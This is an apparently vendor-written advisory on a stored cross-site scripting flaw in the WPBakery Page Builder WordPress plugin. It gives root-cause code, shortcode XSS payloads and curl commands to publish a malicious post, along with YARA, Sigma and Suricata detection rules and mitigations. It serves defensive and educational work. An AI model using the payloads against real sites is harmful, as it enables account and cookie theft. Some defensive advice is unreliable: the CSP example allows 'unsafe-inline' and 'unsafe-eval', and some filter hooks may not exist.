CVE-2025-7502

Executive Summary

CVE-2025-7502 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPBakery Page Builder plugin for WordPress, affecting all versions up to and including 8.5. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within several shortcodes. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute whenever a victim accesses the compromised page. This vulnerability is particularly dangerous in multi-author WordPress environments where contributors can create or edit posts.

Supply Chain & Package Security

This vulnerability affects a commercial WordPress plugin distributed via the WPBakery website and bundled with many premium themes. Since the plugin is not distributed through the official WordPress plugin repository, automatic updates may not be available. Users must manually check for updates from their theme provider or WPBakery directly. The lack of a public patch increases the risk of supply chain attacks through compromised theme bundles or outdated installations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (affects other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for authentication, but the low complexity and potential for widespread impact on visitors make this a significant threat in shared hosting or multi-tenant WordPress environments.

Deep Dive & Mechanics

The vulnerability exists in the WPBakery Page Builder's shortcode handling. The plugin registers numerous shortcodes (e.g., [vc_row], [vc_column], [vc_column_text], [vc_single_image], etc.) that accept user-supplied attributes. When processing these attributes, the plugin fails to properly sanitize input and escape output before rendering them in the page HTML.

Root Cause:

• Insufficient input sanitization: The plugin does not strip or encode malicious JavaScript payloads from shortcode attributes.
• Inadequate output escaping: When the shortcode is rendered, the attribute values are output directly into the HTML without proper context-aware escaping (e.g., esc_attr() or wp_kses()).

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page.
2. The attacker inserts a vulnerable WPBakery shortcode with a malicious attribute, such as:

   [vc_column_text css=".vc_custom_123{background-image:url('x')}"]<script>alert('XSS')</script>[/vc_column_text]
   

3. The plugin stores the shortcode in the WordPress database without sanitizing the css attribute or the content.
4. When a visitor loads the page, the shortcode is rendered, and the malicious script executes in the visitor's browser.

Affected Components:

• All shortcodes that accept user-controlled attributes, particularly those with css, el_class, el_id, style, and similar parameters.
• The vulnerability is not limited to a single shortcode; multiple shortcodes are affected due to shared attribute handling logic.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected secure coding practices.

Vulnerable Code (Conceptual):

// In a shortcode handler function
function vc_column_text_shortcode($atts, $content = null) {
    extract(shortcode_atts(array(
        'css' => '',
        'el_class' => '',
    ), $atts));
    
    // Direct output without sanitization
    $output = '<div class="wpb_text_column ' . $el_class . '" style="' . $css . '">';
    $output .= wpb_js_remove_wpautop($content);
    $output .= '</div>';
    return $output;
}

Patched Code (Expected):

function vc_column_text_shortcode($atts, $content = null) {
    extract(shortcode_atts(array(
        'css' => '',
        'el_class' => '',
    ), $atts));
    
    // Sanitize and escape attributes
    $el_class = esc_attr($el_class);
    $css = esc_attr($css);
    
    $output = '<div class="wpb_text_column ' . $el_class . '" style="' . $css . '">';
    $output .= wp_kses_post(wpb_js_remove_wpautop($content));
    $output .= '</div>';
    return $output;
}

The patched version uses esc_attr() for HTML attributes and wp_kses_post() for post content to prevent script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with WPBakery Page Builder <= 8.5
• Contributor-level account credentials

Exploitation Steps:

1. Log in as a contributor.

2. Create a new post or edit an existing one.

3. Switch to Text/Code editor mode.

4. Insert a malicious shortcode. Example payloads:

   Payload 1: XSS via CSS attribute

   [vc_column_text css=".vc_custom_123{background-image:url('x')}"]<script>alert(document.cookie)</script>[/vc_column_text]
   

   Payload 2: XSS via el_class attribute

   [vc_row el_class="'><script>alert('XSS')</script>"]
   

   Payload 3: XSS via link attribute in vc_single_image

   [vc_single_image image="123" img_link_large="yes" link="javascript:alert('XSS')"]
   

5. Publish or preview the post.

6. When any user (including admin) visits the page, the script executes.

Automated Exploitation (using curl):

# Replace with actual WordPress URL and credentials
curl -c cookies.txt -d "log=contributor&pwd=password" https://target.com/wp-login.php
curl -b cookies.txt -d "post_title=Malicious Post&content=[vc_column_text css='.x{background:url(1)}']<script>alert(1)</script>[/vc_column_text]&post_status=publish" https://target.com/wp-admin/post.php

Blue Team

Detection & Prevention:

1. Web Application Firewall (WAF) Rules: Block requests containing suspicious shortcode attributes.

   # Nginx WAF rule example
   if ($args ~* "css=.*<script") {
       return 403;
   }
   

2. Input Validation: Implement server-side validation for shortcode attributes.

   add_filter('vc_shortcode_attribute', function($value, $attr) {
       if (in_array($attr, ['css', 'el_class', 'style'])) {
           $value = sanitize_text_field($value);
       }
       return $value;
   }, 10, 2);
   

3. Content Security Policy (CSP): Enforce strict CSP headers to mitigate XSS impact.

   Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
   

4. User Role Hardening: Restrict contributor capabilities to prevent shortcode abuse.

   // Remove unfiltered_html capability from contributors
   $role = get_role('contributor');
   $role->remove_cap('unfiltered_html');
   

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified posts/pages containing suspicious shortcode attributes (e.g., css=".*<script", el_class=".*onload=")
• Presence of JavaScript payloads in post content or shortcode parameters

Network IOCs:

• HTTP requests to /wp-admin/post.php with content parameter containing WPBakery shortcodes and script tags
• Outbound connections to known malicious domains from compromised pages

Log IOCs:

• WordPress debug log entries showing wp_kses or esc_attr failures
• Apache/Nginx access logs with POST /wp-admin/post.php and content=[vc_ patterns

Database IOCs:

• SQL query to find malicious posts:

  SELECT ID, post_title, post_content FROM wp_posts 
  WHERE post_content LIKE '%[vc_%<script%' 
     OR post_content LIKE '%css=%\\.%'
  

Detection Engineering

YARA Rule

rule CVE_2025_7502_WPBakery_XSS {
    meta:
        description = "Detects stored XSS payloads targeting WPBakery Page Builder shortcodes"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-7502"
        severity = "medium"
    
    strings:
        $shortcode = /\[vc_(row|column|column_text|single_image|btn|heading|icon|separator|text_separator|message_box|toggle|accordion|tab|tour|progress_bar|pie|counter|chart|gallery|images_carousel|carousel|posts_slider|testimonials|team|pricing_table|cta|action_box|widget_sidebar|button|custom_heading|empty_space|raw_html|raw_js|flickr|instagram|twitter|facebook|linkedin|googleplus|pinterest|tumblr|youtube|vimeo|soundcloud|spotify|map|video|audio|playlist|event|calendar|contact_form|mailchimp|gravityform|ninjaform|calderaform|contactform7|wpforms|formidable|fluentform|elementor|beaver|visual_composer|js_composer)\b/
        
        $xss_payload_1 = /<script[^>]*>.*<\/script>/i
        $xss_payload_2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss_payload_3 = /javascript\s*:\s*\w+/i
        $xss_payload_4 = /<[^>]*\s+on\w+\s*=/i
    
    condition:
        $shortcode and any of ($xss_payload_*)
}

Sigma Rule

title: CVE-2025-7502 WPBakery Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via WPBakery shortcodes in WordPress posts
author: Valters IT
date: 2025-01-01
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.7502
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 
            - 'content=[vc_'
            - 'css='
            - 'el_class='
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7502 WPBakery Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"content="; http_client_body; pcre:"/(?:\[vc_(?:row|column|column_text|single_image|btn|heading|icon|separator|text_separator|message_box|toggle|accordion|tab|tour|progress_bar|pie|counter|chart|gallery|images_carousel|carousel|posts_slider|testimonials|team|pricing_table|cta|action_box|widget_sidebar|button|custom_heading|empty_space|raw_html|raw_js|flickr|instagram|twitter|facebook|linkedin|googleplus|pinterest|tumblr|youtube|vimeo|soundcloud|spotify|map|video|audio|playlist|event|calendar|contact_form|mailchimp|gravityform|ninjaform|calderaform|contactform7|wpforms|formidable|fluentform|elementor|beaver|visual_composer|js_composer)\b)[^]]*?(?:<script|on\w+=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable WPBakery Page Builder until a patch is available.
2. Restrict contributor roles by removing unfiltered_html capability.
3. Implement WAF rules to block malicious shortcode patterns.
4. Enable Content Security Policy headers to mitigate XSS impact.

Long-Term Fixes:

1. Apply vendor patch when released (monitor WPBakery changelog).
2. Upgrade to version 8.6+ if available.
3. Replace with alternative page builder (e.g., Gutenberg, Elementor) if no patch is forthcoming.
4. Conduct security audit of all custom shortcodes and theme integrations.

Workaround Code: Add the following to your theme's functions.php to sanitize shortcode attributes:

add_filter('vc_shortcode_attribute', function($value, $attr) {
    $dangerous_attrs = ['css', 'el_class', 'el_id', 'style', 'link', 'url', 'href'];
    if (in_array($attr, $dangerous_attrs)) {
        $value = esc_attr($value);
    }
    return $value;
}, 10, 2);

add_filter('vc_shortcode_content', function($content) {
    return wp_kses_post($content);
});

Valters IT
Securing Digital Frontiers